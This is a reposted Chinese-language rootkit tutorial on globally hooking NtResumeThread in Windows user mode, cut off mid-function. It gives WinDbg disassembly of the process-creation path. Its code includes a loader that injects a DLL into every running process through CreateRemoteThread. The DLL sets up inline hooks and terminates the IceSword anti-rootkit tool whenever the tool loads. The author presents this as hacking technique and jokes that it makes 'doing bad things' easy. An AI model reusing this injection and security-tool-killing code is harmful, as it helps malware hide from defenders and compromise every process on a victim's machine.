挂钩 NtResumeThread 实现全局Hook.docx
《挂钩 NtResumeThread 实现全局Hook.docx》由会员分享,可在线阅读,更多相关《挂钩 NtResumeThread 实现全局Hook.docx(16页珍藏版)》请在冰豆网上搜索。
![挂钩 NtResumeThread 实现全局Hook.docx](https://file1.bdocx.com/fileroot1/2023-2/23/5e351e95-ad03-4e04-b771-c072dc207afa/5e351e95-ad03-4e04-b771-c072dc207afa1.gif)
挂钩NtResumeThread实现全局Hook
http:
//binyang.org/File/Safe/Programming/2008101720.html
挂钩NtResumeThread实现全局Hook
浏览统计:
14
创建时间:
2008-10-17
文章提交:
Admin
挂钩一直是Hack编程中永恒的主题,基本高级的Rootkit程序多多少少都会使用Hook技术。
似乎Hook都被讲烂了,不论是Ring3的还是Ring0的网上都有例子。
Ring0的毋庸置疑当然是全局的了,这里说说ring3的全局hook。
Ring3有Ring3的优势,稳定是压倒一切的,
因此Mcafee和其他一些商业的安全软件都还是使用了Ring3的Hook技术,无论如何用户是无法接受蓝屏和死机的。
感兴趣的可以装个Rootkitunhooker自己看看。
:
)
1.以往的Ring3全局Hook
纵观网上流行的全局Hook程序都只用了一个WindowsAPI,SetWindowsHookEx,此函数原型:
HHOOKSetWindowsHookEx(
intidHook,
HOOKPROClpfn,
HINSTANCEhMod,
DWORDdwThreadId
);
idhook 安装的钩子类型,如WH_GETMESSAGE,WH_KEYBOARD等
lpfn hookprocedure的指针
hmod 包含hookprocedureDLL的handle
dwThread为0
使用这个这个API时候有问题的,只能挂接系统中的所有GUI线程,换句通俗的话说就是有界面
的程序,Windowsconsole类的程序就无能为力了。
还有一种通过插入注册表来实现
HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Windows\AppInit_DLLs
这种方法简单,但是还是只能挂钩GUI程序,并且这个键值已经被广大HIPS所关注,吃力不讨好。
以上两种效果不好,因此有人有开始另外的做法,枚举所有进程,插入和挂钩NtCreateProcess
这是非常自然的想法,似乎也把问题解决了,但是仔细思考一下,就会发现很多问题。
a.时机不对,在NtCreateProcess函数被调用时进程并没有真正被创建,我们无法执行HOOK操作,
而当NtCreateProcess返回时,进程又已经开始运行
b.如果是Windowsconsole创建的进程,你如何去监控这个调用呢?
这么说似乎比较抽象,你可
以这么理解,直接在命令行下,cmd,cmd,cmd....你可以监控到最后一个cmd吗,如果只
用SetWindowsHookEx
c.是否正好站在了华容道,是否足够底层。
似乎很费劲
2.分析系统创建进程过程,寻找方法
关于这方面内容,可以参考毛德操老师的两篇文章
《漫谈兼容内核之十七:
再谈Windows的进程创建》
《漫谈兼容内核之二十二:
Windows线程的调度和运行》
下面是他的blog链接:
CreateProcess是Kernel32.dll的导出函数。
操起WinDbg,剁了一下:
Windows2003SP2
lkd>ufCreateProcessW
kernel32!
CreateProcessW:
7c8024748bff mov edi,edi
7c80247655 push ebp
7c8024778bec mov ebp,esp
7c8024796a00 push 0x0
7c80247bff752c push dwordptr[ebp+0x2c]
7c80247eff7528 push dwordptr[ebp+0x28]
7c802481ff7524 push dwordptr[ebp+0x24]
7c802484ff7520 push dwordptr[ebp+0x20]
7c802487ff751c push dwordptr[ebp+0x1c]
7c80248aff7518 push dwordptr[ebp+0x18]
7c80248dff7514 push dwordptr[ebp+0x14]
7c802490ff7510 push dwordptr[ebp+0x10]
7c802493ff750c push dwordptr[ebp+0xc]
7c802496ff7508 push dwordptr[ebp+0x8]
7c8024996a00 push 0x0
7c80249be8a6ac0200 call kernel32!
CreateProcessInternalW(7c82d146)
7c8024a05d pop ebp
7c8024a1c22800 ret 0x28
lkd>ufCreateProcessInternalW
....
7c82cf8fff159814807ccalldwordptr[kernel32!
_imp__NtCreateProcessEx(7c801498)]
....
7c82daa2ff159414807ccalldwordptr[kernel32!
_imp__NtCreateThread(7c801494)]
....
7c82dbdcff158814807ccalldwordptr[kernel32!
_imp__NtResumeThread(7c801488)]
大概流程如下:
Kernel32!
CreateProcessW
Kernel32!
CreateProcessInternalW
ntdll!
NtCreateProcessEx
ntdll!
NtCreateThread
ntdll!
NtResumeThread
因为进程创建后,Windows必须为它创建一个主线程,然后等待操作系统调度它。
所以调用NtResumeThread的时候,就是我们Hook的最佳时机,因为此时创建进程的主要工作已经完成,
但是进程并没有调度起来,呵呵,方便干坏事啊。
3.具体代码实现
基本思路已经清晰了,这里还几个问题。
a.NtResumeThread函数并不是创建进程才调用,我们怎么区分出哪个是创建进程时
调用的NtResumeThread呢?
其实现实起来不困难,先枚举系统进程一次,将系统进程中NtResumeThread都挂钩上。
每次拦截到
NTResumeThread是判断NtResumeThread的头几个字节是否已经被修改,如果没有则是创建新进程的调用。
b.用什么方法Hook,IAT、Inline?
总的架构?
这种代码写起来还是InlineHook来的舒服,修改函数调用头几个字节。
枚举系统所有进程是不可避免的,因此要写个loader将我们编写的DLL插入系统所有进程。
发现有进进程
创建时,将DLL插入新进程。
下面代码演示,HookNtQuerySystemInformation,因为篇幅等原因只有整体框架和关键代码。
Hook也不是不是我们这次的主要内容,感兴趣的可以参考
c.在多线程的环境下是否可靠?
使用关键代码段,互斥锁,效果还可以。
Loader:
voidinject(HANDLEhProcess){
charCurPath[256]={0};
strcpy(CurPath,"C:
\\WINDOWS\\system32\\Hook.dll");
PWSTRpszLibFileRemote=NULL;
intlen=(lstrlen(CurPath)+1)*2;
WCHARwCurPath[256];
MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256);
pszLibFileRemote=(PWSTR)VirtualAllocEx(hProcess,
NULL,
len,
MEM_COMMIT,
PAGE_READWRITE);
WriteProcessMemory(hProcess,pszLibFileRemote,
(PVOID)wCurPath,len,NULL);
PTHREAD_START_ROUTINEpfnThreadRtn=(PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")),"LoadLibraryW");
CreateRemoteThread(hProcess,
NULL,
0,
pfnThreadRtn,
pszLibFileRemote,
0,
NULL);
}
voidTotalInject()
{
HANDLE hProcessSnap=NULL;
BOOL bRet =FALSE;
PROCESSENTRY32pe32 ={0};
// Takeasnapshotofallprocessesinthesystem.
EnableDebugPrivilege
(1);
hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(hProcessSnap==INVALID_HANDLE_VALUE)
return;
// Fillinthesizeofthestructurebeforeusingit.
pe32.dwSize=sizeof(PROCESSENTRY32);
// Walkthesnapshotoftheprocesses,andforeachprocess,
// displayinformation.
if(Process32First(hProcessSnap,&pe32))
{
do
{
HANDLEhProcess;
//Gettheactualpriorityclass.
hProcess=OpenProcess(PROCESS_ALL_ACCESS,
FALSE,
pe32.th32ProcessID);
inject(hProcess);
CloseHandle(hProcess);
}
while(Process32Next(hProcessSnap,&pe32));
}
//Donotforgettocleanupthesnapshotobject.
EnableDebugPrivilege(0);
CloseHandle(hProcessSnap);
return;
}
Hook.dll:
关键代码
#include"stdafx.h"
#include
BOOLg_bHook=FALSE;
typedefLONGNTSTATUS;
#defineSTATUS_SUCCESS ((NTSTATUS)0x00000000L)
#defineSTATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)
#defineSTATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
typedefULONGSYSTEM_INFORMATION_CLASS;
typedefULONGTHREADINFOCLASS;
typedefULONGPROCESSINFOCLASS;
typedefULONGKPRIORITY;
#defineMEMORY_BASIC_INFORMATION_SIZE28
typedefstruct_THREAD_BASIC_INFORMATION{
NTSTATUSExitStatus;
PNT_TIBTebBaseAddress;
CLIENT_IDClientId;
KAFFINITYAffinityMask;
KPRIORITYPriority;
KPRIORITYBasePriority;
}THREAD_BASIC_INFORMATION,*PTHREAD_BASIC_INFORMATION;
typedefstruct_PROCESS_BASIC_INFORMATION{//InformationClass0
NTSTATUSExitStatus;
PVOIDPebBaseAddress;
KAFFINITYAffinityMask;
KPRIORITYBasePriority;
ULONGUniqueProcessId;
ULONGInheritedFromUniqueProcessId;
}PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION;
typedefNTSTATUS(__stdcall*NTQUERYSYSTEMINFORMATION)(
INSYSTEM_INFORMATION_CLASSSystemInformationClass,
OUTPVOID SystemInformation,
INULONG SystemInformationLength,
OUTPULONG ReturnLengthOPTIONAL);
typedefNTSTATUS(__stdcall*NTRESUMETHREAD)(
INHANDLEThreadHandle,
OUTPULONGPreviousSuspendCountOPTIONAL
);
typedefNTSTATUS(__stdcall*NTQUERYINFORMATIONTHREAD)(
INHANDLEThreadHandle,
INTHREADINFOCLASSThreadInformationClass,
OUTPVOIDThreadInformation,
INULONGThreadInformationLength,
OUTPULONGReturnLengthOPTIONAL);
typedefNTSTATUS(__stdcall*NTQUERYINFORMATIONPROCESS)(
INHANDLEProcessHandle,
INPROCESSINFOCLASSProcessInformationClass,
OUTPVOIDProcessInformation,
INULONGProcessInformationLength,
OUTPULONGReturnLengthOPTIONAL);
NTQUERYSYSTEMINFORMATIONg_pfNtQuerySystemInformation=NULL;
NTRESUMETHREADg_pfNtResumeThread=NULL;
BYTEg_OldNtQuerySystemInformation[5]={0},g_NewNtQuerySystemInformation[5]={0};
BYTEg_OldNtResumeThread[5]={0},g_NewNtResumeThread[5]={0};
DWORDdwIdOld=0;
CRITICAL_SECTIONcs;
NTSTATUS__stdcallNewNtQuerySystemInformation(
INULONGSystemInformationClass,
INPVOIDSystemInformation,
INULONGSystemInformationLength,
OUTPULONGReturnLength);
NTSTATUS__stdcallNewNtResumeThread(INHANDLEThreadHandle,
OUTPULONGPreviousSuspendCountOPTIONAL);
voidWINAPIHookOn();
voidWINAPIHookOff();
BOOLAPIENTRYDllMain(HANDLEhModule,
DWORD ul_reason_for_call,
LPVOIDlpReserved)
{
switch(ul_reason_for_call)
{
caseDLL_PROCESS_ATTACH:
{
InitializeCriticalSection(&cs);
charName[MAX_PATH]={0};
GetModuleFileName(NULL,Name,MAX_PATH);
//杀杀冰刃玩玩
if(strstr(Name,"IceSword.exe")!
=NULL)
{
HANDLEhProcess=OpenProcess(PROCESS_ALL_ACCESS,
0,
GetCurrentProcessId());
TerminateProcess(hProcess,0);
CloseHandle(hProcess);
}
if(!
g_bHook)
{
HookOn();
}
#ifdef_DEBUG
MessageBox(NULL,"ProcessAttach","RemoteDll",MB_OK);
#endif
}
break;
caseDLL_THREAD_ATTACH:
break;
caseDLL_THREAD_DETACH:
break;
caseDLL_PROCESS_DETACH:
if(g_bHook)
{
HookOff();
#ifdef_DEBUG
MessageBox(NULL,"Off!
","HookOff",MB_OK);
#endif
DeleteCriticalSection(&cs);
}
break;
}
returnTRUE;
}
BOOLEnableDebugPrivilege(BOOLfEnable){
//Enablingthedebugprivilegeallowstheapplicationtosee
//informationaboutserviceapplications
BOOLfOk=FALSE; //Assumefunctionfails